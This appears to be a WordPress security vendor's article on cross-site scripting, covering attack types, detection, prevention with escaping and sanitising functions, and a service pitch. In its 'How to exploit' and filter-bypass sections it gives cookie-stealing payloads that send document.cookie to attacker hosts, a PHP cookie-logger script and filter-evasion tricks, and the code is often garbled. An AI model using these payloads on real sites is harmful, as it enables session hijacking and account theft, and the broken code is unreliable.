WordPress XSS Attack (Cross Site Scripting) Protection [2024]

⭐️ WordPress XSS

WordPress XSS (cross-site scripting) is defined as an attack used to inject a malicious code/malware in a website by exploiting a wordpress vulnerability. In this article, you will learn about types of XSS, how it works, how to detect XSS in wordpress & ways to protect &  prevent an XSS attack in a wordpress website.

Cross-site scripting (XSS) attacks are becoming more common and the number of vulnerabilities is increasing.

The most common way XSS attacks occur is when a malicious user injects JavaScript code into a website or app. This code can then execute on your browser, allowing the attacker to steal information from your computer or device. XSS attacks are often used as a gateway to other hacks, such as SQL injections, which is why they pose a serious threat to WordPress users. In fact, they’re one of the most common ways hackers gain access to websites and apps today. This makes it crucial for you to protect yourself from them if you want to stay safe online.

---

? What Is An XSS Attack In WordPress?

 The XSS attacks, CSS (Cross Site Scripting) not to be confused with CSS style sheets (Cascading Style Sheet), is a type of website security vulnerbility, which is found in the poorly secured web applications.

A cross-site scripting attack is an exploit that allows an attacker to execute malicious code in a victim’s browser session without their knowledge or consent. The code is executed when the victim visits a crafted website containing malicious code and the browser renders it as if it were legitimate content from that site. The attacker can then use this technique to steal data from the user’s session, impersonate them, or otherwise perform unauthorized actions on their behalf.

The principle of WordPress XSS Attack is to inject malicious code in scripting language into a vulnerable website, for example by posting a message in a forum that redirects the user to a fake site ( phishing ) or stealing information (cookies ).

In most cases, XSS allows an attacker to access victims’ cookies and use them to take over the victim’s session on the server. This can lead to complete account takeover and information theft — including email address, IP address and even credit card data.

Because XSS attacks target users rather than servers or network infrastructure, they’re often overlooked by developers in favor of more complex exploits that require more technical expertise to pull off.

Check For XSS Attack On Your WordPress Site

As we know, cookies help us to connect automatically. Therefore, with stolen cookies, we can login with other identities. And that’s one of the reasons why this attack is considered one of the most serious attacks.

An XSS attack is in progress on the client side. It can be run with different client-side programming languages. However, most often, this attack is done with Javascript and HTML.

The XSS cross site scripting attack allows to execute scripts on the client side. This means that you can only run JAVASCRIPT, HTML and other languages that will only run in the one who starts the script and not on the server directly, I let your imagination give you ideas.

The only way you can check if your WordPress website is vulnerable to XSS attacks is to use a XSS scanner like Wp Hacked Help, or get help from one of the wordpress security services

However, that doesn’t mean you cannot protect your website visitors from potential XSS vulnerabilities on your website. Installing a WordPress firewall keeps out the attacks and goes a long way into protecting your visitors.

Additionally, you must keep a tab on the installed plugins and themes. If any of them disclose XSS vulnerabilities, make sure to update them as soon as possible.

⭐️ Types of XSS attacks

To clarify what the Cross Site Scripting can mean for a web administrator or a user, here is a list of the different types of XSS.

• Indirect or reflected XSS

When we open a manipulated URL or fill in an adulterated form, the damaging script is sent to the web server, which is returned to the client without being checked. The malicious code is not stored on the server but exists temporarily when the client opens the web page. Dynamic web pages and mail applications are especially vulnerable to this type of attack.

Example: the attacker hosts the script in a prepared link that forwards, as a rule, by email. The harmful code is released when the user opens the link, and that is when a registration screen opens in your browser, which plays, for example, the page of your online bank. When the user enters his registration data, the script is responsible for forwarding them to the address that the attacker has previously established.

• Direct or persistent XSS

In this case, the malicious files are stored in the web server and are released each time a page is accessed from a browser. With this objective, web applications that save user data on their own server and transfer them without control or coding methods are chosen. Blogs and forums are especially vulnerable to these types of attacks.

Example: The interventions of users in a forum are stored in a database, usually without sufficient control. The attackers take advantage of this opportunity and add their harmful script in a seemingly normal post. A user who does not suspect anything receives the link to the post by email or goes to it by chance, and the moment he opens it activates the script.

• XSS based on DOM

Also called local XSS, in this case, the damage is caused by the scripts that are on the client side. When opening an infected page, the malicious code can take advantage of a hole in the security to be installed in a file of the web browser and be executed there without any previous verification. Contrary to what happens in the two previous variants, in this case, the web server is not involved, so this attack also affects the static pages that implement this type of programming language.

Example: Like the mirrored XSS, the DOM-based Cross Site Scripting requires the user to open the link. When this happens, a script on the web page selects the URL variable and executes the code it contains. This is how session cookies can be usurped, for example.

⭐️ How Does XSS Attack Works?

The diagram below illustrates how the example WordPress XSS vulnerability can be performed by an attacker:

1. The attacker uses one of the website’s forms to insert a malicious string into the website’s database.
2. The victim requests a page from the website.
3. The website includes the malicious string from the database in the response and sends it to the victim.
4. The victim’s browser executes the malicious script inside the response, sending the victim’s cookies to the attacker’s server.

XSS exploit attack examples

Example 1.

For example, the HTML snippet:

<title>Example document: %(title)</title>

is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:

<title>Example document: XSS Doc</title>

A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:

"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>

sitting on the other end, at the web server, you will be receiving hits where after a double space is the user’s cookie. If an administrator clicks the link, an attacker could steal the session ID and hijack the session.

Example 2.

Suppose there’s a URL on Google’s site, http://www.google.com/search?q=icons, which returns HTML documents containing the fragment

<p>Your search for ‘icons’ returned the following results:</p>

i.e., the value of the query parameter q is inserted into the page returned by Google. Suppose further that the data is not validated, filtered or escaped.

Evil.org could put up a page that causes the following URL to be loaded in the browser (e.g., in an invisible<iframe>):

 http://www.google.com/search?q=icons+%3Cscript%3Eevil_script()%3C/script%3E

When a victim loads this page from www.evil.org, the browser will load the iframe from the URL above. The document loaded into the iframe will now contain the fragment

 <p>Your search for 'flowers <script>evil_script()</script>'

 returned the following results:</p>

 Loading this page will cause the browser to execute evil_script(). Furthermore, this script will execute in the context of a page loaded from www.google.com.

Cross-Site Scripting in WordPress 4.8

The vulnerability requires an account on the victim’s site with the Contributor role – or any account in a WordPress installation with bbPress plugin, as long as it has posting capabilities

Technical Details

The vulnerability occurs in the WordPress editor, responsible for the creating and editing all of the WordPress posts, pages, and topics (in bb Press).

A bypass in the native sanitising functions of the CMS makes it possible to achieve XSS.

⭐️ How to detect an XSS in WordPress using scanner?

Cross-Site Scripting (XSS) Issues XSS vulnerabilities in wordpress occur when an application includes attacker-controllable data. Using free XSS Scanner Online you can test for Cross-Site Scripting vulnerabilities in WordPress. These XSS testing scanners & tools to find website vulnerabilities

Other popular XSS SCANNERS are:

• https://xss-scanner.com/
• https://github.com/s0md3v/XSStrike
• https://portswigger.net/support/getting-started-with-burp-scanner

There is no easy answer to this question. To determine if a theme is vulnerable to XSS attacks, you should check all source files and check each place that the output is generated to make sure it does not do anything dangerous

(for example <form action=”<?php echo $_SERVER[‘PHP_SELF’]; ?>”>).

The XSS is very widespread on the net, more precisely in forums, guestbooks and search engines,

The detection of the presence of an XSS attack can be done for example by entering a JavaScript script in a form field or in a URL:

<script> alert (Hack) </ script>

If a dialogue box appears, it can be concluded that the Web application is vulnerable to XSS attacks.

To understand the principle, nothing beats an example.

Suppose the following code: 

<center>

<? php if (isset ($ _ GET ['search_word']))

{ echo "You are looking for the following word:". $ _ GET ['search_word'];

}?> Search:

<form method = "get" action = "XSS.php">

<input type = "text" name = "search_word" />

<input type = "submit" name = "Submit" value = "Send "/>

</ Form> </ center> 

No variable was transmitted in GET so the page only displays “Search”. If now I type “Justin Bieber” and I validate it gives me “Looking for the following word: Justin Bieber”

So far everything is working fine, but what if I type <script> alert (‘Hack ‘) </ script> in search, the JavaScript code typed in search is executed. As it can be concluded that this application contains an XSS fault.

Finding XSS in WordPress – 4 Simple Steps

1. Before doing any tests make sure you understand how it works and what features it has.
2. Focus on one component at the time, example: WordPress templates
3. Find out where dynamic parts come from (can you interact with them?) example: Template name
4. Input payloads, check if they are being rendered in the actual code.

How to exploit this attack?

Well then, as we just saw, the XSS attacks are running on the client side. So to trap a target we have to make sure that the administrator of the site executes himself our script. And after, we have to recover his cookie. So to exploit the XSS attack, we need a PHP script that will retrieve the value of the vAriable $ cookie and write it to a .txt file. To do this, open a file under the name xss.php and put the following code: 

<? php

$ cookie = $ _GET ['a']; // we recognize a vEriable GET

if ($ cookie)

{ $ fp = fopen ('cookies.txt', 'a'); // We open cookies.txt in edition

fputs ($ fp, $ cook. 'Rn'); // we write the content of the cookie on a new line

fclose ($ fp); // Close the cookie.txt file }?>

<Script>

location.replace ('http://www.google.com);

// Redirect the target to google.ma so he does not suspect anything

</ script> 

Save the xss.php file, then put it on an FTP server that supports PHP well.

Here is our script is in place, it remains only has the tested!

As I said before we have to execute our url to our target. Imagine that by testing the techniques listed above on your forum, where you are a member among others, you detect the presence of an XSS attack and you want to use the php script that we created. But how to do it?

Just insert the following line in a small message:

<script>

window.open ('http://mysite.com/xss.php?a='+document.cookie)

</ script>

Seeing the code, we understand perfectly that there is? A = is the vAriable $ _GET [‘a’] of our code.

document.cookie represents the cookie of the client. You have just retrieved the cookie from the admin of the forum but what to do with it? At this point, many people think that the XSS attacks do not allow anything, but they are largely wrong. Once you have recovered a cookie you will be able to put it in your folder with your cookies and then after relaunching your web browser you will be able to access the admin session.

How to Block the XSS and fix vulnerabilities?

The Cross Site Scripting or XSS is a type of cyber flaw by which vulnerabilities are sought in a web application to introduce a harmful script and attack its own system, starting from a reliable context for the user. XSS are scripts or programs written in programming languages – such as JavaScript – that run in the web browser. In its most innocuous version, pop-ups are executed and, in the worst case, are used by attackers to access sensitive information or the user’s computer.

Whenever a web application transfers user data not validated to the browser, there will be a risk of an WordPress XSS attack , since this is the path by which the harmful files go to the client or browser. Once here, the infected applications manipulate scripts of the page such as registration forms and, while for the user everything indicates that it is a protected page, in reality, the data is being transferred to another site without any type of filter.

But not all XSS attacks are intended to steal private information or harm the affected customer. There are very extended scripts that manipulate the client to become an initiator of phishing tactics and malware attacks, or that change the content of a page, affecting it negatively. The perpetrators of the attack remain mostly anonymous.

⭐️ How to protect WordPress site from XSS attack?

The damages that a Cross Site Scripting attack can cause should not be underestimated, both for users and for web page administrators. Without knowing it, a user can risk their private data and act as an accomplice to the attackers. Web administrators must take into account that they are responsible for the data of their users and customers.

If a website is the victim of such attacks, malicious content and server crashes are the cause of the loss of user visits. In the long run, the search engines react with penalties and Internet users with mistrust, which ultimately leads to economic losses. For all this, administrators and users should use all means to avoid and prevent XSS in WordPress.

• Prevention measures for Internet users

The easiest way for customers to avoid Cross Site Scripting is to disable JavaScript in the browser. If that is done, the DOM-based XSS, whose goal is the browser’s Java codes, has no effect, since no malicious function will be executed. There are browsers where it is possible to activate Add-ons that protect against XSS attacks.

For Mozilla Firefox, for example, there is the NoScript extension: its standard configuration sets the automatic blocking of active contents such as JavaScript, Java Applets, Adobe Flash or Microsoft Silverlight.

If you wish, you can temporarily lift the lock or configure a white list of pages if you are absolutely sure they are trusted. And one last piece of advice that you should always keep in mind regarding the risks of Cross Site Scripting is that you always remain sceptical of third-party data such as links, which you should always examine carefully before opening.

• Actions against XSS attacks for wordpress site admin

In order to prevent the applications of your website from becoming the object of XSS attacks, you should be wary of any incoming data, that is, before the server accepts them, they should be properly examined. The safest method would be, as in the NoScript Add-On for the browser, the creation of a whitelist or white list. While the capacity of your page allows the examination of the entries and only the acceptance of reliable contents, you will be guaranteed an excellent protection against Cross Site Scripting.

But also the data output should be protected. In this case, it is necessary to replace the problematic HTML meta characters by textual references, so that the meta characters are read as text, and the potentially infected files cannot be executed. For this, most programming languages ​​such as Perl, JavaScript or PHP contain predefined functions for the substitution or masking of characters that you can use without problems. 

The Web-Application-Firewalls are also an effective defence against simple XSS attacks.

The Cross Site Scripting supposes in many cases the prologue to attacks of more gravity and these can be avoided already in their beginnings by means of an ample protection of the incoming and outgoing flow of data in your web server.

• Sanitize Data

WordPress has a host of great features to clean up unreliable user entries. If you’re a developer who is serious about preventing site-to-site scripting, you should read it. But before addressing them, it is good to know that PHP filter_var also contains many disinfection indicators. The behaviour of these is explained in detail in this page of the PHP manual. At the heart of most of these operations, it is simple to remove all values ​​from what is submitted and which are not of the desired type. For example, if you make a call to filter_var ($ val, FILTER_SANITIZE_NUMBER_INT), all your letters and all characters that are not – will be deleted.

The disinfection features of WordPress are often easier to read than the main features of PHP. These filter_var function calls are the basis of some of the WordPress cleanup functions, but these functions are often easier to read. They also apply many common WordPress conventions.

• Validate data

Validation is about making sure a value matches your expectation. Typically, you enable the user to resubmit the request once validation fails.

For validation, you can use the PHP function filter_var; if it’s your style. This will often look like filter_var ($ _GET [’email’], FILTER_VALIDATE_EMAIL). These features are powerful and have the advantage of working outside of WordPress. You can see all the validation filters available on PHP.net. In any case, if the function gives you an error, you know that the data is invalid.

The specific functions of WordPress to prevent XSS attacks are mainly in the field of disinfection. But there are some that are particularly useful for validation. Maybe my favorite is is_email. It’s supposed to do the same thing as the filter_var call you used the last paragraph, but it’s much more concise if (is_email ($ _ GET [’email’]) is shorter than what we typed last times and reads just like English.

Validation is done as a user-side JavaScript effort. It’s great and some JavaScript libraries can be used in the past to contribute. The disadvantage is that there is no security guarantee in a client-side validation library. So doing a server-side validation is usually a good idea. And if you do not do validation, it is necessary to sanitize the server.

• Escape the filters

In reality, it does not always work like this, web developers are aware of this XSS attack, so they have developed methods to secure their web applications against this vulnerability, for example, I can quote magic_quote_gpc.

In this part, I will show you how to bypass some filters:

magic_quote_gpc: When magic_quotes are enabled, all ‘(single quotes), (quotation marks), (backslash) and NULL characters are escaped by a backslash.

For example, if I type 

<script> alert ("Hack") </ script> 

It  becomes:

<Script> alert ( 'hack') </ script>

So how to pass this? Well after a good reflection on the problem, it comes to us that if the site escapes the apostrophes by a backslash then thanks to them we will be able to execute our code but how?

Simply we will use the method String.fromCharCode () . This method creates a string of characters from a series of ASCII code. For that I will use Hackbar, a Firefox plugin.

After that gives us

<Script> alert (String.fromCharCode (104, 97, 99, 107)) </ script>

and miracle it works!

Obfuscation Technique: This filter, for example, blocks the following words:

• script
• alert

Here if we put <script> alert (‘Hack’) </ script> the site will give us as alert () message because it will remove all <script> and </ script>.

So to bypass this filter we will just change <script> by <scrscriptipt> and alert by alealertrt

like this : 

<scr <script> ipt> alealertrt () </ scr </ script> ipt>

Once the banners are removed it gives us: 

<script> alert ("Hack") </ script> 

and it works again!

There is a Firefox plugin, XSS ME specialized in finding this type of vulnerability.  

⭐️ How to prevent getting infected with XSS?

Always escape exit to prevent the data provided by the user to add HTML entities , like <, >etc. A quick help method to use here is: 

function noHTML($input, $encoding='UTF-8')

{return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, $encoding);} 

Note that this prevents users from providing HTML codes.

Use a library such as HTML Purifier to escape entire blocks of HTML to prevent XSS attacks.

Many people are thinking that this attack is useless, well it’s wrong, believe me, the XSS attack is great, certainly you will not be able to cut its roots, thanks to this fault but it facilitates the spot with other attacks. You just have to know how to use it.

If you can avoid WordPress XSS vulnerabilities and secure the output of your application, you will avoid nearly half of the wordpress vulnerabilities that can be introduced into your application and safeguard your site against various kind of hacks such as WordPress malware redirect hack, WordPress Brute Force Attacks,  DDoS Attacks, Japanese keyword hack, WordPress Pharma Hack and many more .  

Avoid the fault

Several techniques avoid the XSS:

• Using the htmlspecialchars () function, it converts special characters into HTML entities.
• Use the htmlentities () function which is identical to htmlspecialchars () except that it filters out all the characters that are equivalent to html or JavaScript encoding.
• Use strip_tags (), this function deletes all tags.

How WP Hacked Help can help?

A WordPress security scanner that performs fully automated tests to identify security issues on your WordPress website. We test your website for over 100’s of vulnerabilities, including XSS vulnerability in WordPress site. Dont forget to read our In-depth guides on How to remove malware from WordPress & our Updated WordPress security checklist.

Get in touch with us » 

24/7 WP Security & Malware Removal

Is your site hacked or infected with malware? Let us get it fixed for you

Secure My Website(s)